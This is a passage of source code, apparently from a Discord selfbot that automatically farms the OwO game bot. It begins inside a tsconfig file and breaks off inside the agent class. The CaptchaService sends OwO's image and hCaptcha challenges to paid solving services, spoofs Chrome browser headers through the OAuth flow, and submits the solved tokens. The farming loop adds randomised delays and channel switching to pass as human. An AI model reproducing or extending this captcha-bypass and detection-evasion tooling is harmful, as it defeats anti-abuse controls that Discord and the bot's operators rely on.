'react' JSX emit. */ 23 | // "noLib": true, /* Disable including any library files, including the default lib.d.ts. */ 24 | // "useDefineForClassFields": true, /* Emit ECMAScript-standard-compliant class fields. */ 25 | // "moduleDetection": "auto", /* Control what method is used to detect module-format JS files. */ 26 | 27 | /* Modules */ 28 | "module": "NodeNext", /* Specify what module code is generated. */ 29 | "rootDir": "./", /* Specify the root folder within your source files. */ 30 | "moduleResolution": "NodeNext", /* Specify how TypeScript looks up a file from a given module specifier. */ 31 | "baseUrl": "./", /* Specify the base directory to resolve non-relative module names. */ 32 | "paths": { 33 | "@/*": ["src/*"], /* Specify a set of entries that re-map imports to additional lookup locations. */ 34 | "#/*": ["*"] /* Specify a set of entries that re-map imports to additional lookup locations. */ 35 | }, /* Specify a set of entries that re-map imports to additional lookup locations. */ 36 | // "rootDirs": [], /* Allow multiple folders to be treated as one when resolving modules. */ 37 | "typeRoots": [ 38 | "src/typings/index.d.ts", /* Specify multiple folders that act like './node_modules/@types'. */ 39 | "src/typings/global.d.ts" 40 | ], /* Specify multiple folders that act like './node_modules/@types'. */ 41 | // "types": ["node"], /* Specify type package names to be included without being referenced in a source file. */ 42 | // "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */ 43 | // "moduleSuffixes": [], /* List of file name suffixes to search when resolving a module. */ 44 | // "allowImportingTsExtensions": true, /* Allow imports to include TypeScript file extensions. Requires '--moduleResolution bundler' and either '--noEmit' or '--emitDeclarationOnly' to be set. */ 45 | // "resolvePackageJsonExports": true, /* Use the package.json 'exports' field when resolving package imports. */ 46 | // "resolvePackageJsonImports": true, /* Use the package.json 'imports' field when resolving imports. */ 47 | // "customConditions": [], /* Conditions to set in addition to the resolver-specific defaults when resolving imports. */ 48 | // "noUncheckedSideEffectImports": true, /* Check side effect imports. */ 49 | "resolveJsonModule": true, /* Enable importing .json files. */ 50 | // "allowArbitraryExtensions": true, /* Enable importing files with any extension, provided a declaration file is present. */ 51 | // "noResolve": true, /* Disallow 'import's, 'require's or ''s from expanding the number of files TypeScript should add to a project. */ 52 | 53 | /* JavaScript Support */ 54 | // "allowJs": true, /* Allow JavaScript files to be a part of your program. Use the 'checkJS' option to get errors from these files. */ 55 | // "checkJs": true, /* Enable error reporting in type-checked JavaScript files. */ 56 | // "maxNodeModuleJsDepth": 1, /* Specify the maximum folder depth used for checking JavaScript files from 'node_modules'. Only applicable with 'allowJs'. */ 57 | 58 | /* Emit */ 59 | // "declaration": true, /* Generate .d.ts files from TypeScript and JavaScript files in your project. */ 60 | // "declarationMap": true, /* Create sourcemaps for d.ts files. */ 61 | // "emitDeclarationOnly": true, /* Only output d.ts files and not JavaScript files. */ 62 | // "sourceMap": true, /* Create source map files for emitted JavaScript files. */ 63 | // "inlineSourceMap": true, /* Include sourcemap files inside the emitted JavaScript. */ 64 | // "noEmit": true, /* Disable emitting files from a compilation. */ 65 | // "outFile": "./", /* Specify a file that bundles all outputs into one JavaScript file. If 'declaration' is true, also designates a file that bundles all .d.ts output. */ 66 | "outDir": "./dest", /* Specify an output folder for all emitted files. */ 67 | // "removeComments": true, /* Disable emitting comments. */ 68 | // "importHelpers": true, /* Allow importing helper functions from tslib once per project, instead of including them per-file. */ 69 | // "downlevelIteration": true, /* Emit more compliant, but verbose and less performant JavaScript for iteration. */ 70 | // "sourceRoot": "", /* Specify the root path for debuggers to find the reference source code. */ 71 | // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */ 72 | // "inlineSources": true, /* Include source code in the sourcemaps inside the emitted JavaScript. */ 73 | // "emitBOM": true, /* Emit a UTF-8 Byte Order Mark (BOM) in the beginning of output files. */ 74 | // "newLine": "crlf", /* Set the newline character for emitting files. */ 75 | // "stripInternal": true, /* Disable emitting declarations that have '@internal' in their JSDoc comments. */ 76 | // "noEmitHelpers": true, /* Disable generating custom helper functions like '__extends' in compiled output. */ 77 | // "noEmitOnError": true, /* Disable emitting files if any type checking errors are reported. */ 78 | // "preserveConstEnums": true, /* Disable erasing 'const enum' declarations in generated code. */ 79 | // "declarationDir": "./", /* Specify the output directory for generated declaration files. */ 80 | 81 | /* Interop Constraints */ 82 | "isolatedModules": true, /* Ensure that each file can be safely transpiled without relying on other imports. */ 83 | // "verbatimModuleSyntax": true, /* Do not transform or elide any imports or exports not marked as type-only, ensuring they are written in the output file's format based on the 'module' setting. */ 84 | // "isolatedDeclarations": true, /* Require sufficient annotation on exports so other tools can trivially generate declaration files. */ 85 | // "allowSyntheticDefaultImports": true, /* Allow 'import x from y' when a module doesn't have a default export. */ 86 | "esModuleInterop": true, /* Emit additional JavaScript to ease support for importing CommonJS modules. This enables 'allowSyntheticDefaultImports' for type compatibility. */ 87 | // "preserveSymlinks": true, /* Disable resolving symlinks to their realpath. This correlates to the same flag in node. */ 88 | "forceConsistentCasingInFileNames": true, /* Ensure that casing is correct in imports. */ 89 | 90 | /* Type Checking */ 91 | "strict": true, /* Enable all strict type-checking options. */ 92 | // "noImplicitAny": true, /* Enable error reporting for expressions and declarations with an implied 'any' type. */ 93 | // "strictNullChecks": true, /* When type checking, take into account 'null' and 'undefined'. */ 94 | // "strictFunctionTypes": true, /* When assigning functions, check to ensure parameters and the return values are subtype-compatible. */ 95 | // "strictBindCallApply": true, /* Check that the arguments for 'bind', 'call', and 'apply' methods match the original function. */ 96 | // "strictPropertyInitialization": true, /* Check for class properties that are declared but not set in the constructor. */ 97 | // "strictBuiltinIteratorReturn": true, /* Built-in iterators are instantiated with a 'TReturn' type of 'undefined' instead of 'any'. */ 98 | // "noImplicitThis": true, /* Enable error reporting when 'this' is given the type 'any'. */ 99 | // "useUnknownInCatchVariables": true, /* Default catch clause variables as 'unknown' instead of 'any'. */ 100 | // "alwaysStrict": true, /* Ensure 'use strict' is always emitted. */ 101 | // "noUnusedLocals": true, /* Enable error reporting when local variables aren't read. */ 102 | // "noUnusedParameters": true, /* Raise an error when a function parameter isn't read. */ 103 | // "exactOptionalPropertyTypes": true, /* Interpret optional property types as written, rather than adding 'undefined'. */ 104 | // "noImplicitReturns": true, /* Enable error reporting for codepaths that do not explicitly return in a function. */ 105 | // "noFallthroughCasesInSwitch": true, /* Enable error reporting for fallthrough cases in switch statements. */ 106 | // "noUncheckedIndexedAccess": true, /* Add 'undefined' to a type when accessed using an index. */ 107 | // "noImplicitOverride": true, /* Ensure overriding members in derived classes are marked with an override modifier. */ 108 | // "noPropertyAccessFromIndexSignature": true, /* Enforces using indexed accessors for keys declared using an indexed type. */ 109 | "allowUnusedLabels": false, /* Disable error reporting for unused labels. */ 110 | "allowUnreachableCode": false, /* Disable error reporting for unreachable code. */ 111 | 112 | /* Completeness */ 113 | // "skipDefaultLibCheck": true, /* Skip type checking .d.ts files that are included with TypeScript. */ 114 | "skipLibCheck": true, /* Skip type checking all .d.ts files. */ 115 | }, 116 | "exclude": [ 117 | "node_modules" 118 | ] 119 | } 120 | -------------------------------------------------------------------------------- /src/services/CaptchaService.ts: -------------------------------------------------------------------------------- 1 | import { Configuration } from "@/schemas/ConfigSchema.js"; 2 | import { BaseParams, CaptchaSolver } from "@/typings/index.js"; 3 | import { TwoCaptchaSolver } from "@/services/solvers/TwoCaptchaSolver.js"; 4 | import { YesCaptchaSolver } from "@/services/solvers/YesCaptchaSolver.js"; 5 | import { downloadAttachment } from "@/utils/download.js"; 6 | import { logger } from "@/utils/logger.js"; 7 | import axios from "axios"; 8 | import { wrapper } from "axios-cookiejar-support"; 9 | import { CookieJar } from "tough-cookie"; 10 | import os from "node:os"; 11 | import { Message, MessageActionRow, MessageButton } from "discord.js-selfbot-v13"; 12 | import { NORMALIZE_REGEX } from "@/typings/constants.js"; 13 | import { NotificationService } from "./NotificationService.js"; 14 | 15 | interface CaptchaServiceOptions { 16 | provider?: Configuration["captchaAPI"]; 17 | apiKey?: string; 18 | } 19 | 20 | /** 21 | * Maps Node.js os.platform() output to sec-ch-ua-platform values. 22 | */ 23 | const getPlatformForHeader = (): string => { 24 | switch (os.platform()) { 25 | case "win32": 26 | return "Windows"; 27 | case "darwin": 28 | return "macOS"; 29 | case "linux": 30 | return "Linux"; 31 | default: 32 | // A sensible default for other platforms like FreeBSD, etc. 33 | return "Unknown"; 34 | } 35 | }; 36 | 37 | const createSolver = (provider: Configuration["captchaAPI"], apiKey: string): CaptchaSolver | undefined => { 38 | switch (provider) { 39 | case "yescaptcha": 40 | return new YesCaptchaSolver(apiKey); 41 | case "2captcha": 42 | return new TwoCaptchaSolver(apiKey); 43 | default: 44 | logger.error(`Unknown captcha provider: ${provider}`); 45 | return undefined; 46 | } 47 | } 48 | 49 | export class CaptchaService { 50 | private solver: CaptchaSolver | undefined; 51 | 52 | private axiosInstance = wrapper(axios.create({ 53 | jar: new CookieJar(), 54 | timeout: 30000, 55 | headers: { 56 | "Accept-Encoding": "gzip, deflate, br", 57 | "Accept-Language": "en-US,en;q=0.9", 58 | "Cache-Control": "no-cache", 59 | "Sec-Ch-Ua": `"Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"`, 60 | "Sec-Ch-Ua-Mobile": "?0", 61 | "Sec-Ch-Ua-Platform": `"${getPlatformForHeader()}"`, 62 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", 63 | } 64 | })) 65 | 66 | constructor({ provider, apiKey }: CaptchaServiceOptions) { 67 | if (provider && apiKey) { 68 | this.solver = createSolver(provider, apiKey); 69 | } else { 70 | logger.warn("Captcha API or API key not configured. Captcha handling will be disabled."); 71 | } 72 | } 73 | 74 | public solveImageCaptcha = async (attachmentUrl: string): Promise => { 75 | if (!this.solver) { 76 | throw new Error("Captcha solver is not configured."); 77 | } 78 | 79 | logger.debug(`Downloading captcha image from ${attachmentUrl}`); 80 | const imageBuffer = await downloadAttachment(attachmentUrl); 81 | 82 | const solution = await this.solver.solveImage(imageBuffer); 83 | logger.debug(`Captcha solution: ${solution}`); 84 | 85 | return solution; 86 | } 87 | 88 | public solveHcaptcha = async ( 89 | location: string, 90 | sitekey: string = "a6a1d5ce-612d-472d-8e37-7601408fbc09", 91 | siteurl: string = "https://owobot.com" 92 | ): Promise => { 93 | if (!this.solver) { 94 | throw new Error("Captcha solver is not configured."); 95 | } 96 | 97 | logger.debug(`Starting hCaptcha solving process for: ${location}`); 98 | 99 | // Step 1: Follow the OAuth redirect chain (this establishes the session) 100 | logger.debug("Step 1: Following OAuth redirect chain..."); 101 | const oauthResponse = await this.axiosInstance.get(location, { 102 | headers: { 103 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", 104 | "Referer": "https://discord.com/", 105 | "Sec-Fetch-Dest": "document", 106 | "Sec-Fetch-Mode": "navigate", 107 | "Sec-Fetch-Site": "cross-site", 108 | "Sec-Fetch-User": "?1", 109 | "Upgrade-Insecure-Requests": "1", 110 | "Priority": "u=0, i" 111 | }, 112 | maxRedirects: 10, 113 | validateStatus: (status) => status < 400 // Accept redirects 114 | }); 115 | logger.debug(`OAuth response status: ${oauthResponse.status}`); 116 | 117 | // Step 2: Visit the captcha page explicitly 118 | logger.debug("Step 2: Visiting captcha page..."); 119 | try { 120 | await this.axiosInstance.get("https://owobot.com/captcha", { 121 | headers: { 122 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", 123 | "Referer": "https://owobot.com/", 124 | "Sec-Fetch-Dest": "document", 125 | "Sec-Fetch-Mode": "navigate", 126 | "Sec-Fetch-Site": "same-origin", 127 | "Sec-Fetch-User": "?1", 128 | "Upgrade-Insecure-Requests": "1", 129 | "Priority": "u=0, i" 130 | } 131 | }); 132 | } catch (error) { 133 | logger.warn(`Captcha page visit failed: ${error}`); 134 | } 135 | 136 | // Step 3: Check authentication status 137 | logger.debug("Step 3: Checking authentication status..."); 138 | const accountResponse = await this.axiosInstance.get("https://owobot.com/api/auth", { 139 | headers: { 140 | "Accept": "application/json, text/plain, */*", 141 | "Origin": "https://owobot.com", 142 | "Referer": "https://owobot.com/captcha", 143 | "Sec-Fetch-Dest": "empty", 144 | "Sec-Fetch-Mode": "cors", 145 | "Sec-Fetch-Site": "same-origin", 146 | "Priority": "u=1, i" 147 | } 148 | }); 149 | 150 | logger.debug(`Auth response data: ${JSON.stringify(accountResponse.data, null, 2)}`); 151 | 152 | if (accountResponse.data?.banned) { 153 | throw new Error("Account is banned."); 154 | } 155 | 156 | if (!accountResponse.data?.captcha?.active) { 157 | throw new Error("Captcha is not active."); 158 | } 159 | 160 | // Step 4: Solve the hCaptcha 161 | logger.debug(`Step 4: Solving hCaptcha with sitekey: ${sitekey} and siteurl: ${siteurl}`); 162 | const solution = await this.solver.solveHcaptcha(sitekey, siteurl); 163 | logger.debug(`hCaptcha response token: ${solution.slice(0, 50)}...`); 164 | 165 | // Step 5: Submit the verification (matching your successful browser request exactly) 166 | logger.debug("Step 5: Submitting captcha verification..."); 167 | const verificationResponse = await this.axiosInstance.post("https://owobot.com/api/captcha/verify", { 168 | token: solution // Using "code" as per your successful browser request 169 | }, { 170 | headers: { 171 | "Accept": "application/json, text/plain, */*", 172 | "Content-Type": "application/json", 173 | "Origin": "https://owobot.com", 174 | "Referer": "https://owobot.com/captcha", 175 | "Sec-Fetch-Dest": "empty", 176 | "Sec-Fetch-Mode": "cors", 177 | "Sec-Fetch-Site": "same-origin", 178 | "Priority": "u=1, i" 179 | } 180 | }); 181 | 182 | if (verificationResponse.status !== 200) { 183 | const errorData = verificationResponse.data; 184 | logger.error(`Verification response: ${JSON.stringify(errorData, null, 2)}`); 185 | throw new Error(`Failed to verify captcha: ${verificationResponse.status} - ${verificationResponse.statusText} - ${JSON.stringify(errorData)}`); 186 | } 187 | 188 | logger.info("✅ hCaptcha verification successful!"); 189 | } 190 | 191 | public static async handleCaptcha(params: BaseParams, message: Message, retries: number = 0): Promise { 192 | const { agent } = params; 193 | const normalizedContent = message.content.normalize("NFC").replace(NORMALIZE_REGEX, ""); 194 | const maxRetries = 1; 195 | 196 | const captchaService = new CaptchaService({ 197 | provider: agent.config.captchaAPI, 198 | apiKey: agent.config.apiKey, 199 | }); 200 | const notificationService = new NotificationService(); 201 | 202 | // Only notify on first attempt 203 | if (retries === 0) { 204 | NotificationService.consoleNotify(params); 205 | } 206 | 207 | try { 208 | const attachmentUrl = message.attachments.first()?.url; 209 | if (attachmentUrl) { 210 | logger.debug(`Image captcha detected, attempting to solve... (Attempt ${retries + 1}/${maxRetries + 1})`); 211 | const solution = await captchaService.solveImageCaptcha(attachmentUrl); 212 | 213 | logger.debug(`Attempting reach OwO bot...`); 214 | const owo = await agent.client.users.fetch(agent.owoID); 215 | 216 | const dms = await owo.createDM(); 217 | logger.debug(`DM channel created, sending captcha solution...`); 218 | 219 | const captchaResponse = await agent.awaitResponse({ 220 | channel: dms, 221 | filter: (msg) => msg.author.id == agent.owoID && /verified that you are.{1,3}human!/igm.test(msg.content), 222 | trigger: async () => dms.send(solution), 223 | time: 30_000 224 | }); 225 | 226 | if (!captchaResponse) { 227 | throw new Error("No response from OwO bot after sending captcha solution."); 228 | } 229 | } else if ( 230 | /(https?:\/\/[^\s]+)/g.test(normalizedContent) 231 | || ( 232 | message.components.length > 0 && message.components[0].type == "ACTION_ROW" 233 | && (message.components[0] as MessageActionRow).components[0].type == "BUTTON" 234 | && /(https?:\/\/[^\s]+)/g.test(((message.components[0] as MessageActionRow).components[0] as MessageButton).url || "") 235 | ) 236 | ) { 237 | logger.debug(`Link captcha detected, attempting to solve... (Attempt ${retries + 1}/${maxRetries + 1})`); 238 | const { location } = await agent.client.authorizeURL("https://discord.com/oauth2/authorize?response_type=code&redirect_uri=https%3A%2F%2Fowobot.com%2Fapi%2Fauth%2Fdiscord%2Fredirect&scope=identify%20guilds%20email%20guilds.members.read&client_id=408785106942164992") 239 | await captchaService.solveHcaptcha(location); 240 | } 241 | 242 | // If we reach here, captcha was solved successfully 243 | agent.totalCaptchaSolved++; 244 | logger.info(`Captcha solved successfully on attempt ${retries + 1}!`); 245 | 246 | // Only notify on successful resolution 247 | await notificationService.notify(params, { 248 | title: "CAPTCHA DETECTED", 249 | description: "Status: ✅ RESOLVED", 250 | urgency: "normal", 251 | content: `${agent.config.adminID ? `<@${agent.config.adminID}> ` : ""}Captcha detected in channel: <#${message.channel.id}>`, 252 | sourceUrl: message.url, 253 | imageUrl: attachmentUrl, 254 | fields: [ 255 | { 256 | name: "Captcha Type", 257 | value: attachmentUrl 258 | ? `[Image Captcha](${attachmentUrl})` 259 | : "[Link Captcha](https://owobot.com/captcha)", 260 | inline: true 261 | }, 262 | { 263 | name: "Attempt", 264 | value: `${retries + 1}/${maxRetries + 1}`, 265 | inline: true 266 | } 267 | ] 268 | }); 269 | } catch (error) { 270 | logger.error(`Failed to solve captcha on attempt ${retries + 1}:`); 271 | logger.error(error as Error); 272 | 273 | // Retry logic 274 | if (retries < maxRetries) { 275 | logger.warn(`Retrying captcha solving after 3 seconds... (${retries + 1}/${maxRetries})`); 276 | await new Promise(resolve => setTimeout(resolve, 3000)); // Wait 3 seconds before retry 277 | return CaptchaService.handleCaptcha(params, message, retries + 1); 278 | } 279 | 280 | // Max retries reached, give up - only notify on complete failure 281 | logger.alert(`All ${maxRetries + 1} attempts to solve captcha failed, waiting for manual resolution.`); 282 | logger.info(`WAITING FOR THE CAPTCHA TO BE RESOLVED TO ${agent.config.autoResume ? "RESTART" : "STOP"}...`); 283 | 284 | agent.totalCaptchaFailed++; 285 | await notificationService.notify(params, { 286 | title: "CAPTCHA DETECTED", 287 | description: `Status: ❌ **UNRESOLVED**`, 288 | urgency: "critical", 289 | content: `${agent.config.adminID ? `<@${agent.config.adminID}> ` : ""}Captcha detected in channel: <#${message.channel.id}>`, 290 | sourceUrl: message.url, 291 | imageUrl: message.attachments.first()?.url, 292 | fields: [ 293 | { 294 | name: "Captcha Type", 295 | value: message.attachments.first() 296 | ? `[Image Captcha](${message.attachments.first()?.url})` 297 | : "[Link Captcha](https://owobot.com/captcha)", 298 | inline: true 299 | }, 300 | { 301 | name: "Failed Attempts", 302 | value: `${maxRetries + 1}/${maxRetries + 1}`, 303 | inline: true 304 | }, 305 | { 306 | name: "Last Error", 307 | value: `\`${error instanceof Error ? error.message : String(error)}\``, 308 | }, 309 | { 310 | name: "Please resolve the captcha manually before", 311 | value: ``, 312 | }, 313 | ] 314 | }); 315 | } 316 | } 317 | } -------------------------------------------------------------------------------- /src/structure/BaseAgent.ts: -------------------------------------------------------------------------------- 1 | import { ClientEvents, Collection, GuildTextBasedChannel, Message, RichPresence } from "discord.js-selfbot-v13"; 2 | 3 | import path from "node:path"; 4 | 5 | import { ranInt } from "@/utils/math.js"; 6 | import { logger } from "@/utils/logger.js"; 7 | import { watchConfig } from "@/utils/watcher.js"; 8 | import { 9 | AwaitResponseOptions, 10 | AwaitSlashResponseOptions, 11 | CommandProps, 12 | FeatureProps, 13 | SendMessageOptions 14 | } from "@/typings/index.js"; 15 | 16 | import { Configuration } from "@/schemas/ConfigSchema.js"; 17 | import featuresHandler from "@/handlers/featuresHandler.js"; 18 | import { t, getCurrentLocale } from "@/utils/locales.js"; 19 | import { shuffleArray } from "@/utils/array.js"; 20 | import commandsHandler from "@/handlers/commandsHandler.js"; 21 | import eventsHandler from "@/handlers/eventsHandler.js"; 22 | 23 | import { ExtendedClient } from "./core/ExtendedClient.js"; 24 | import { CooldownManager } from "./core/CooldownManager.js"; 25 | import { fileURLToPath } from "node:url"; 26 | import { CriticalEventHandler } from "@/handlers/CriticalEventHandler.js"; 27 | 28 | export class BaseAgent { 29 | public readonly rootDir = path.resolve(path.dirname(fileURLToPath(import.meta.url)), ".."); 30 | 31 | public readonly miraiID = "1205422490969579530" 32 | 33 | public readonly client: ExtendedClient; 34 | public config: Configuration; 35 | private cache: Configuration; 36 | public authorizedUserIDs: string[] = []; 37 | 38 | public commands = new Collection(); 39 | public cooldownManager = new CooldownManager(); 40 | public features = new Collection(); 41 | 42 | public owoID = "408785106942164992" 43 | public prefix: string = "owo"; 44 | 45 | public activeChannel!: GuildTextBasedChannel; 46 | 47 | public totalCaptchaSolved = 0; 48 | public totalCaptchaFailed = 0; 49 | public totalCommands = 0; 50 | public totalTexts = 0; 51 | 52 | private invalidResponseCount = 0; 53 | private invalidResponseThreshold = 5; 54 | 55 | gem1Cache?: number[]; 56 | gem2Cache?: number[]; 57 | gem3Cache?: number[]; 58 | starCache?: number[]; 59 | 60 | public channelChangeThreshold = ranInt(17, 56); 61 | public autoSleepThreshold = ranInt(32, 600); 62 | public lastSleepAt = 0; 63 | 64 | public captchaDetected = false; 65 | public farmLoopRunning = false; 66 | public farmLoopPaused = false; 67 | private expectResponseOnAllAwaits = false; 68 | 69 | constructor(client: ExtendedClient, config: Configuration) { 70 | this.client = client; 71 | this.cache = structuredClone(config); 72 | this.config = watchConfig(config, (key, oldValue, newValue) => { 73 | logger.debug(`Configuration updated: ${key} changed from ${oldValue} to ${newValue}`); 74 | }) 75 | 76 | this.authorizedUserIDs.push( 77 | this.client.user.id, 78 | ...(this.config.adminID ? [this.config.adminID] : []), 79 | ); 80 | 81 | this.client.options.sweepers = { 82 | messages: { 83 | interval: 60 * 60, 84 | lifetime: 60 * 60 * 24, 85 | }, 86 | users: { 87 | interval: 60 * 60, 88 | filter: () => (user) => this.authorizedUserIDs.includes(user.id), 89 | }, 90 | } 91 | } 92 | 93 | public setActiveChannel = (id?: string): GuildTextBasedChannel | undefined => { 94 | const channelIDs = this.config.channelID; 95 | 96 | if (!channelIDs || channelIDs.length === 0) { 97 | throw new Error("No channel IDs provided in the configuration."); 98 | } 99 | 100 | const channelID = id || channelIDs[ranInt(0, channelIDs.length)]; 101 | try { 102 | const channel = this.client.channels.cache.get(channelID); 103 | if (channel && channel.isText()) { 104 | this.activeChannel = channel as GuildTextBasedChannel; 105 | logger.info(t("agent.messages.activeChannelSet", { channelName: this.activeChannel.name })); 106 | 107 | return this.activeChannel; 108 | } else { 109 | logger.warn(t("agent.messages.invalidChannel", { channelID })); 110 | this.config.channelID = this.config.channelID.filter(id => id !== channelID); 111 | logger.info(t("agent.messages.removedInvalidChannel", { channelID })); 112 | } 113 | } catch (error) { 114 | logger.error(`Failed to fetch channel with ID ${channelID}:`); 115 | logger.error(error as Error); 116 | } 117 | return; 118 | } 119 | 120 | public reloadConfig = () => { 121 | for (const key of Object.keys(this.cache)) { 122 | (this.config as any)[key as keyof Configuration] = this.cache[key as keyof Configuration]; 123 | } 124 | logger.info(t("agent.messages.configReloaded")); 125 | } 126 | 127 | public send = async (content: string, options: SendMessageOptions = { 128 | channel: this.activeChannel, 129 | prefix: this.prefix, 130 | }) => { 131 | if (!this.activeChannel) { 132 | logger.warn(t("agent.messages.noActiveChannel")); 133 | return; 134 | } 135 | 136 | this.client.sendMessage(content, options) 137 | if (!!options.prefix) this.totalCommands++; 138 | else this.totalTexts++; 139 | } 140 | 141 | private isBotOnline = async () => { 142 | try { 143 | const owo = await this.activeChannel.guild.members.fetch(this.owoID); 144 | return !!owo && owo.presence?.status !== "offline"; 145 | } catch (error) { 146 | logger.warn(t("agent.messages.owoStatusCheckFailed")); 147 | return false; 148 | } 149 | } 150 | 151 | public awaitResponse = (options: AwaitResponseOptions): Promise => { 152 | return new Promise((resolve, reject) => { 153 | const { 154 | channel = this.activeChannel, 155 | filter, 156 | time = 30_000, 157 | max = 1, 158 | trigger, 159 | expectResponse = false, 160 | } = options; 161 | 162 | // 2. Add a guard clause for safety. 163 | if (!channel) { 164 | const error = new Error("awaitResponse requires a channel, but none was provided or set as active."); 165 | logger.error(error.message); 166 | return reject(error); 167 | } 168 | 169 | const collector = channel.createMessageCollector({ 170 | filter, 171 | time, 172 | max, 173 | }); 174 | 175 | collector.once("collect", (message: Message) => { 176 | resolve(message); 177 | }); 178 | 179 | collector.once("end", (collected) => { 180 | if (collected.size === 0) { 181 | if (expectResponse || this.expectResponseOnAllAwaits) { 182 | this.invalidResponseCount++; 183 | logger.debug(`No response received within the specified time (${this.invalidResponseCount}/${this.invalidResponseThreshold}).`); 184 | } 185 | if (this.invalidResponseCount >= this.invalidResponseThreshold) { 186 | reject(new Error("Invalid response count exceeded threshold.")); 187 | } 188 | resolve(undefined); 189 | } else { 190 | logger.debug(`Response received: ${collected.first()?.content.slice(0, 35)}...`); 191 | this.invalidResponseCount = 0; 192 | } 193 | }); 194 | 195 | trigger() 196 | }) 197 | } 198 | 199 | public awaitSlashResponse = async (options: AwaitSlashResponseOptions) => { 200 | const { 201 | channel = this.activeChannel, 202 | bot = this.owoID, 203 | command, 204 | args = [], 205 | time = 30_000, 206 | } = options 207 | 208 | if (!channel) { 209 | throw new Error("awaitSlashResponse requires a channel, but none was provided or set as active."); 210 | } 211 | 212 | const message = await channel.sendSlash(bot, command, ...args); 213 | 214 | if (!(message instanceof Message)) { 215 | throw new Error("Unsupported message type returned from sendSlash."); 216 | } 217 | 218 | if (message.flags.has("LOADING")) return new Promise((resolve, reject) => { 219 | let timeout: NodeJS.Timeout; 220 | 221 | const listener = async (...args: ClientEvents["messageUpdate"]) => { 222 | const [_, m] = args; 223 | if (_.id !== message.id) return; 224 | cleanup(); 225 | 226 | if (m.partial) { 227 | try { 228 | const fetchedMessage = await m.fetch(); 229 | return resolve(fetchedMessage); 230 | } catch (error) { 231 | logger.error("Failed to fetch partial message"); 232 | reject(error); 233 | } 234 | } else { 235 | resolve(m); 236 | } 237 | } 238 | 239 | const cleanup = () => { 240 | message.client.off("messageUpdate", listener); 241 | clearTimeout(timeout); 242 | } 243 | 244 | message.client.on("messageUpdate", listener); 245 | 246 | timeout = setTimeout(() => { 247 | cleanup(); 248 | reject(new Error("AwaitSlashResponse timed out")); 249 | }, time); 250 | }) 251 | 252 | return Promise.resolve(message); 253 | } 254 | 255 | private loadPresence = () => { 256 | const rpc = new RichPresence(this.client) 257 | .setApplicationId(this.miraiID) 258 | .setType("PLAYING") 259 | .setName("Mirai Kuriyama") 260 | .setDetails("The day the emperor returns!") 261 | .setStartTimestamp(this.client.readyTimestamp) 262 | .setAssetsLargeImage("1312264004382621706") 263 | .setAssetsLargeText("Advanced Discord OwO Tool Farm") 264 | .setAssetsSmallImage("1306938859552247848") 265 | .setAssetsSmallText("Copyright © Kyou-Izumi 2025") 266 | .addButton("GitHub", "https://github.com/Kyou-Izumi/advanced-discord-owo-tool-farm") 267 | .addButton("YouTube", "https://www.youtube.com/@daongotau") 268 | 269 | this.client.user.setPresence({ activities: [rpc] }); 270 | } 271 | 272 | public farmLoop = async () => { 273 | if (this.farmLoopRunning) { 274 | logger.debug("Double farm loop detected, skipping this iteration."); 275 | return; 276 | } 277 | 278 | if (this.farmLoopPaused) { 279 | logger.debug("Farm loop is paused, skipping this iteration."); 280 | return; 281 | } 282 | 283 | this.farmLoopRunning = true; 284 | 285 | try { 286 | const featureKeys = Array.from(this.features.keys()); 287 | if (featureKeys.length === 0) { 288 | logger.warn(t("agent.messages.noFeaturesAvailable")); 289 | return; 290 | } 291 | 292 | for (const featureKey of shuffleArray(featureKeys)) { 293 | if (this.captchaDetected) { 294 | logger.debug("Captcha detected, skipping feature execution."); 295 | return; 296 | } 297 | 298 | const botStatus = await this.isBotOnline(); 299 | if (!botStatus) { 300 | logger.warn(t("agent.messages.owoOfflineDetected")); 301 | this.expectResponseOnAllAwaits = true; 302 | } else { 303 | this.expectResponseOnAllAwaits = false; 304 | } 305 | 306 | const feature = this.features.get(featureKey); 307 | if (!feature) { 308 | logger.warn(t("agent.messages.featureNotFound", { featureKey })); 309 | continue; 310 | } 311 | 312 | try { 313 | const shouldRun = await feature.condition({ agent: this, t, locale: getCurrentLocale() }) 314 | && this.cooldownManager.onCooldown("feature", feature.name) === 0; 315 | if (!shouldRun) continue; 316 | 317 | const res = await feature.run({ agent: this, t, locale: getCurrentLocale() }); 318 | this.cooldownManager.set( 319 | "feature", feature.name, 320 | typeof res === "number" && !isNaN(res) ? res : feature.cooldown() || 30_000 321 | ); 322 | 323 | await this.client.sleep(ranInt(500, 4600)); 324 | } catch (error) { 325 | logger.error(`Error running feature ${feature.name}:`); 326 | logger.error(error as Error); 327 | } 328 | } 329 | 330 | if (!this.captchaDetected && !this.farmLoopPaused) { 331 | setTimeout(() => { 332 | this.farmLoop(); 333 | }, ranInt(1000, 7500)); 334 | } 335 | 336 | } catch (error) { 337 | logger.error("Error occurred during farm loop execution:"); 338 | logger.error(error as Error); 339 | } finally { 340 | this.farmLoopRunning = false; 341 | } 342 | } 343 | 344 | private registerEvents = async () => { 345 | CriticalEventHandler.handleRejection({ 346 | agent: this, 347 | t, 348 | locale: getCurrentLocale(), 349 | }) 350 | 351 | await featuresHandler.run({ 352 | agent: this, 353 | t, 354 | locale: getCurrentLocale(), 355 | }); 356 | logger.info(t("agent.messages.featuresRegistered", { count: this.features.size })); 357 | 358 | await commandsHandler.run({ 359 | agent: this, 360 | t, 361 | locale: getCurrentLocale(), 362 | }); 363 | logger.info(t("agent.messages.commandsRegistered", { count: this.commands.size })); 364 | 365 | await eventsHandler.run({ 366 | agent: this, 367 | t, 368 | locale: getCurrentLocale(), 369 | }); 370 | 371 | if (this.config.showRPC) this.loadPresence(); 372 | } 373 | 374 | public static initialize = async (client: ExtendedClient, config: Configuration) => { 375 | logger.debug("Initializing BaseAgent..."); 376 | if (!client.isReady()) { 377 | throw new Error("Client is not ready. Ensure the client is logged in before initializing the agent."); 378 | } 379 | 380 | const agent = new BaseAgent(client, config); 381 | agent.setActiveChannel(); 382 | 383 | await agent.registerEvents(); 384 | logger.debug("BaseAgent initialized successfully."); 385 | 